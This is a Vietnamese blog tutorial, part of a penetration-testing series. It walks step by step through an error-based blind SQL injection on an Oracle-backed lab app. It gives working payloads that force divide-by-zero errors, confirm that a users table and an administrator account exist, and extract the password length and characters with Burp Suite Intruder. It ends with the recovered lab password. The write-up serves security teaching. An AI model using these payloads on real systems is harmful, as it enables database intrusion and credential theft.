Penetration Testing Step 3 – Các thể loại SQL injection phổ biến (Part 6)

Tiếp theo nội dung Penetration Testing Step 3 – Các thể loại SQL injection phổ biến (Part 5), kỳ này tôi sẽ chiến tiếp một thể loại trâu chó khác nhưng vẫn thuộc Blind SQL Injection.

Với kỳ trước, bạn có thể triển khai mưu đồ thâm độc thành công vì có thể dẫn dắt cho mục tiêu trả về thông tin phản hồi nhất định (sự xuất hiện của message “Welcome back”) tùy theo boolean condition mà bạn thiết lập trong query. Nhưng nếu ứng dụng không phản hồi rõ ràng kiểu như cái message “Welcome back” nói trên thì không lẽ tôi đành cắp đít quay về trong tủi nhụt sao?

Rất may, tôi còn có một đường binh khác cho tình huống này – đó là dựa vào các SQL errors trả về từ ứng dụng. Điểm khó ở đây là tôi phải có thể thiết lập các điều kiện để kiểm soát việc ứng dụng trả về thông báo lỗi khi tôi muốn (và ngược chạy – nghĩa là không phát sinh lỗi).

Nếu nghe đến đây bạn thấy có vẻ mơ hồ thì cứ bình tĩnh. Kéo chuột xuống dưới đọc dần dần thì mọi chuyện sẽ sáng tỏ.

Lưu ý:

#1. Dùng SQL query để điều khiển việc ứng dụng phát sinh lỗi liệu có khả thi?

Sau khi truy cập vào mục tiêu, tôi dùng Burp Suite Repeater thử quất phát thăm dò đầu tiên với single quotation kiểu như sau:

TrackingId=ntI95YOGFqZxJ0uN '

Test app response - 1
Test app response – 1

Với response trên, tôi thấy tín hiệu khả quan khi nhận về status code 500. Từ đây, tôi đâm tiếp phát thứ 2 với doube quotation:

TrackingId=ntI95YOGFqZxJ0uN''

Test app response - 2
Test app response – 2

Như bạn có thể thấy, lúc này tình hình sẽ OK với status code 200 được trả về. Việc này cho thấy syntax error (cụ thể lỗi là khi không đóng quotation mark) sẽ có thể gây tác động đến response (trả về code 500 khi có syntax error).

Việc kế tiếp tôi cần xác nhận là ứng dụng có thật sự “ăn” cái SQL query tôi đút vào và làm phát sinh lỗi không hay vấn đề là do một cái lỗi ất ơ nào khác mà tôi không kiểm soát được. Để làm việc này, tôi có thể đút vào tiếp một cái SQL query phù hợp với syntax và thuần phong mỹ tục kiểu như sau:

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT '')||'

Syntax error
Syntax error

Dù cái syntax trông đã có vẻ chuẩn nhưng tôi vẫn bị cái status code 500 nó tương vào mồm. Việc này có thể phát sinh từ syntax khác nhau của các loại database (cụ thể là với Oracle, tôi sẽ cần chỉ định rõ tên bảng trong query như giới thiệu trong nội dung Penetration Testing Step 3 – Các thể loại SQL injection phổ biến (Part 2)). Tôi cập nhật query và thử lại vận may:

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT '' FROM dual)||'

Confirm syntax
Confirm syntax

Thơm, cái status code 200 trả về cho phép tôi xác nhận nghi ngờ về database type trước đó. Kế đến tôi sẽ cố tình chỉnh sửa lại cái query trên cái nền syntax chuẩn đã xác định theo kiểu như sau:

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT '' FROM fake-table)||'

Control app error
Control app error

Vì làm méo gì có cái bảng fake-table nên cái query trên sẽ trả về status code 500 như tôi mong đợi. Điều này cũng hàm ý rằng query (đúng syntax, nhưng với thông tin sai về tên bảng) tôi đút vào đã được xử lý. Và đến đây tôi có thể kết luận việc điều khiển cho ứng dụng trả về lỗi dựa trên query đưa vào là khả thi.

#2. Blind SQL Injection chiêu thứ 1 – Xác định sự tồn tại của bảng trong database

Nhờ vào thông tin xác nhận ở trên, tôi sẽ có thể bày vẽ ra nhiều trò đâm thọt. Và trò đầu tiên tôi cần là xác định thông tin các bảng trong database. Cụ thể, tôi sẽ có thể mông má ra cái query để xác nhận sự tồn tại của bảng users kiểu như sau:

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

Confirm table
Confirm table

Lưu ý: Cái WHERE ROWNUM = 1 là để ngăn query trả về nhiều hơn 1 dòng dẫn đến banh chành cái mưu đồ concatenation

Và như bạn thấy ở trên, lần này cái status code 200 trả về đã giúp tôi xác định tiếp một thông tin quan trọng là sự tồn tại của bảng users.

#3. Blind SQL Injection chiêu thứ 2 – Kiểm tra kết quả thăm dò dựa vào SELECT CASE và Burp Suite Repeater

#3.1 Xây dựng syntax chuẩn cmnm để kiểm tra

Kế đến, tôi sẽ thử thăm dò phản hồi của mục tiêu thông qua bài kiểm tra các điều kiện với query kiểu như sau:

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

Syntax for Select Case - 1
Syntax for Select Case – 1

1=1 trả về kết quả True dẫn đến việc triển cái TO_CHAR(1/0) nên tôi sẽ làm phát sinh lỗi (divde by zero) và ghi nhận cái status code 500 như ở trên.

Giờ tôi thử cập nhật lại query thành:

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

Syntax for Select Case - 2
Syntax for Select Case – 2

Lần này, vì 1=2 cho kết quả False nên phần “ELSE ” sẽ được thực thi. Thằng này sẽ không làm phát sinh lỗi như trường hợp trước đó nên tôi sẽ có thể nhận về status code 200 như trên.

#3.2 Kiểm tra sự tồn tại của username

Với việc đã có trong tay phương án kiểm tra kết quả thăm dò, tôi có thể bắt đầu đâm thọc sâu hơn thông qua query kiểu như sau:

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Confirm username
Confirm username

Theo response trên, tôi có thể xác nhận việc tồn tại một username administrator trong bảng users.

#3.3 Kiểm tra độ dài password

Công việc kế tiếp sẽ tương tự như kỳ trước. Đầu tiên tôi sẽ dựng một query để xác nhận độ dài pasword của ông administrator lớn 1 hơn 1:

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Confirm password length - 1
Confirm password length – 1

Sau đó tôi kiểm tra giới hạn trên của độ dài password là không quá 20 ký tự.

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN LENGTH(password)>20 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Confirm password length - 2
Confirm password length – 2

Và chạy tiếp một query để xác nhận độ dài của password chính xác là 20 ký tự.

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN LENGTH(password)>19 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Confirm password length - 3
Confirm password length – 3

#4. Blind SQL Injection chiêu thứ 3 – Giết trùm cuối admin với Burp Suite Intruder

#4.1 Bắn tỉa xác định ký tự đầu tiên của password

Sau khi xác định xong độ dài password, cũng tương tự như nội dung kỳ trước, tôi sẽ đẩy hàng qua Burp Suite Intruder để bắt tay vào mảnh ghép cuối cùng là xác định cụ thể password là gì. Ở đây, bạn cũng nhớ lưu ý chọn Clear § để xóa các thiết lập Payload Positions mặc định của Burp Suite.

Sniper attack payload position - 1
Sniper attack payload position – 1

Sau đó, sử dụng Sniper attack, tôi đặt thủ công lại payload vào vị trí ký tự a (sử dụng Add §) tương ứng với query kiểu như sau:

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Sniper attack payload position - 2
Sniper attack payload position – 2

Chuyển qua tab con Payloads, tôi sẽ sử dụng Simple list và nạp vào các chữ cái a-z và số 0-9 thông qua việc sử dụng Add from list.

Sniper attack payload
Sniper attack payload

Hàng họ đã thiết lập xong tôi có thể bóp cò với nút Start attack để bắn tỉa và thu lượm kết quả.

Sniper attack result
Sniper attack result

Với bảng kết quả thu được, tôi có thể sort thông tin theo cột Status và đọc dữ liệu từ dòng có status code 500 để xác định ký tự đầu tiên của password (số 3 như hình minh họa trên).

#4.2 Quăng bom chùm vét sạch toàn bộ ký tự password

Với logic ở trên, tôi có thể lần lượt gia tăng chỉ số ký tự trong password để tấn công bằng query kiểu như sau:

TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Tuy nhiên, cũng giống như nội dung kỳ trước, tôi có thể triển một giải pháp tinh tế hơn với Attack type Cluster bomb để đẩy payload vào 2 vị trí là chỉ số ký tự password và ký tự cần so sánh.

Cluster bomb attack payload position
Cluster bomb attack payload position

Rồi tôi thiết lập cho payload thứ nhất tương ứng với chỉ số vị trí các ký tự trong password.

Cluster bomb attack payload - 1
Cluster bomb attack payload – 1

Sau đó thiết lập cho payload thứ 2 tương tự như trước đó.

Cluster bomb attack payload - 2
Cluster bomb attack payload – 2

Rồi nhất nút Start attack quăng bom và ung dung thu lượm dữ liệu trả về.

Cluster bomb attack result
Cluster bomb attack result

Cũng với bước sorting dựa vào cột Status, tôi có thể chơi trò xếp hình để nhanh chóng xác định password cho trùm cuối administrator: 33xbrr1rm8xoyf0uc74k.

Say my name
Say my name

Và bùm, tôi chui tọt vào hệ thống với quyền lực tuyệt đối của kẻ mà ai cũng biết là ai. Đến đây tôi cũng xin kết thúc nội dung kỳ này. Hẹn gặp lại bạn trong kỳ tiếp theo với các tình tiết ly kỳ hơn.

1 thought on “Penetration Testing Step 3 – Các thể loại SQL injection phổ biến (Part 6)”

Leave a Reply

Your email address will not be published. Required fields are marked *